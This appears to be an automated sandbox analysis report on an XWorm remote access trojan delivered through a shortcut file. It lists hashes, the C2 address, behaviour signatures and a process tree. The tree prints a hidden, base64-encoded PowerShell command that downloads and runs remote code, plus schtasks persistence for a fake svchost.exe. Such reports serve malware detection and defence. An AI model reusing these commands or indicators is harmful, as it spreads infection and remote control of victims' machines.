Analysis

  • max time kernel
    148s
  • max time network
    152s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240730-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240730-enlocale:en-usos:windows10-2004-x64system
  • submitted
    31-07-2024 07:41

General

  • Target

    nTalu.lnk

  • Size

    2KB

  • MD5

    79b6a1c72f61bf2358eca72f4d67b4d7

  • SHA1

    22c3540ce90d11b32b0a9c2eae94ae467af2aabf

  • SHA256

    ee3dad6434cb64d091d15fda5900d088f46b64d0603a449d6bd46afb9705140a

  • SHA512

    839fb585a20812324f4058cb2e354be77b243c212fcf35e1c16fb2668a266cbeb784844512e0aa15e6077cf2570e88b04bb986164f4972e1bc63a61576967d6e

Malware Config

Extracted

Family

xworm

Version

5.0

C2

lisa22194141.duckdns.org:7000

Mutex

2tuao2989c3EVwzo

Attributes
  • install_file

    USB.exe

aes.plain

Signatures

  • Detect Xworm Payload 1 IoCs
  • Xworm

    Xworm is a remote access trojan written in C#.

  • Blocklisted process makes network request 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 2 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 7 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 3 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 25 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c C:\Users\Admin\AppData\Local\Temp\nTalu.lnk
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:4332
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -W h -e JAB4AGMAZQAgAD0AIAAnAHgAJwA7ACAASQBlAHgAKABJAHIAbQAgAGgAdAB0AHAAcwA6AC8ALwAwAHgAMAAuAHMAdAAvAFgAZgBJAFQALgB0AHgAdAApADsAIAAkAHgAYwBlACAAPQAgACcAeAAnAA==
      2⤵
      • Blocklisted process makes network request
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:2812
      • C:\Users\Admin\AppData\Roaming\XovwDNpiRZKtFFANLO.exe
        "C:\Users\Admin\AppData\Roaming\XovwDNpiRZKtFFANLO.exe"
        3⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:928
        • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
          "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
          4⤵
          • System Location Discovery: System Language Discovery
          • Suspicious behavior: AddClipboardFormatListener
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of SetWindowsHookEx
          PID:3108
        • C:\Windows\SysWOW64\cmd.exe
          "cmd.exe" /C mkdir "C:\Users\Admin\AppData\Roaming\svchost"
          4⤵
          • System Location Discovery: System Language Discovery
          PID:1216
        • C:\Windows\SysWOW64\cmd.exe
          "cmd.exe" /C schtasks /create /sc minute /mo 1 /tn "Nafifas" /tr "'C:\Users\Admin\AppData\Roaming\svchost\svchost.exe'" /f
          4⤵
          • System Location Discovery: System Language Discovery
          • Suspicious use of WriteProcessMemory
          PID:3212
          • C:\Windows\SysWOW64\schtasks.exe
            schtasks /create /sc minute /mo 1 /tn "Nafifas" /tr "'C:\Users\Admin\AppData\Roaming\svchost\svchost.exe'" /f
            5⤵
            • System Location Discovery: System Language Discovery
            • Scheduled Task/Job: Scheduled Task
            PID:2932
        • C:\Windows\SysWOW64\cmd.exe
          "cmd.exe" /C copy "C:\Users\Admin\AppData\Roaming\XovwDNpiRZKtFFANLO.exe" "C:\Users\Admin\AppData\Roaming\svchost\svchost.exe"
          4⤵
          • System Location Discovery: System Language Discovery
          PID:4832
  • C:\Users\Admin\AppData\Roaming\svchost\svchost.exe
    C:\Users\Admin\AppData\Roaming\svchost\svchost.exe
    1⤵
    • Executes dropped EXE
    • System Location Discovery: System Language Discovery
    PID:2172

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_girwwvvt.av5.ps1

    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • C:\Users\Admin\AppData\Roaming\XovwDNpiRZKtFFANLO.exe

    Filesize

    21.0MB

    MD5

    7d65fe5871d783fdd6c912675a2807cb

    SHA1

    2f2c294c04d7bdf7953562d263c68305695126ad

    SHA256

    c4854be24acd139e4f4658246b362e12913b57bf4ff6a85c3c295ea08ac5a33c

    SHA512

    167e9cd7258dcaf66d2f716e8f16a4a78b50faff08863ad4bbe4fc1d57b45b814677b60b74346c7d56edbabb0544dbfb9d27770f1bf0a6335a18cec0563d774c

  • memory/928-32-0x0000000000420000-0x000000000044C000-memory.dmp

    Filesize

    176KB

  • memory/2812-14-0x00007FFA3D400000-0x00007FFA3DEC1000-memory.dmp

    Filesize

    10.8MB

  • memory/2812-8-0x0000016867650000-0x0000016867672000-memory.dmp

    Filesize

    136KB

  • memory/2812-15-0x00007FFA3D403000-0x00007FFA3D405000-memory.dmp

    Filesize

    8KB

  • memory/2812-16-0x00007FFA3D400000-0x00007FFA3DEC1000-memory.dmp

    Filesize

    10.8MB

  • memory/2812-18-0x0000016871E80000-0x0000016872042000-memory.dmp

    Filesize

    1.8MB

  • memory/2812-13-0x00007FFA3D400000-0x00007FFA3DEC1000-memory.dmp

    Filesize

    10.8MB

  • memory/2812-30-0x00007FFA3D400000-0x00007FFA3DEC1000-memory.dmp

    Filesize

    10.8MB

  • memory/2812-2-0x00007FFA3D403000-0x00007FFA3D405000-memory.dmp

    Filesize

    8KB

  • memory/3108-33-0x0000000000400000-0x0000000000410000-memory.dmp

    Filesize

    64KB

  • memory/3108-34-0x0000000005800000-0x000000000589C000-memory.dmp

    Filesize

    624KB

  • memory/3108-38-0x00000000060C0000-0x0000000006664000-memory.dmp

    Filesize

    5.6MB

  • memory/3108-39-0x0000000006910000-0x00000000069A2000-memory.dmp

    Filesize

    584KB

  • memory/3108-40-0x0000000006890000-0x000000000689A000-memory.dmp

    Filesize

    40KB

  • memory/3108-43-0x0000000007610000-0x0000000007676000-memory.dmp

    Filesize

    408KB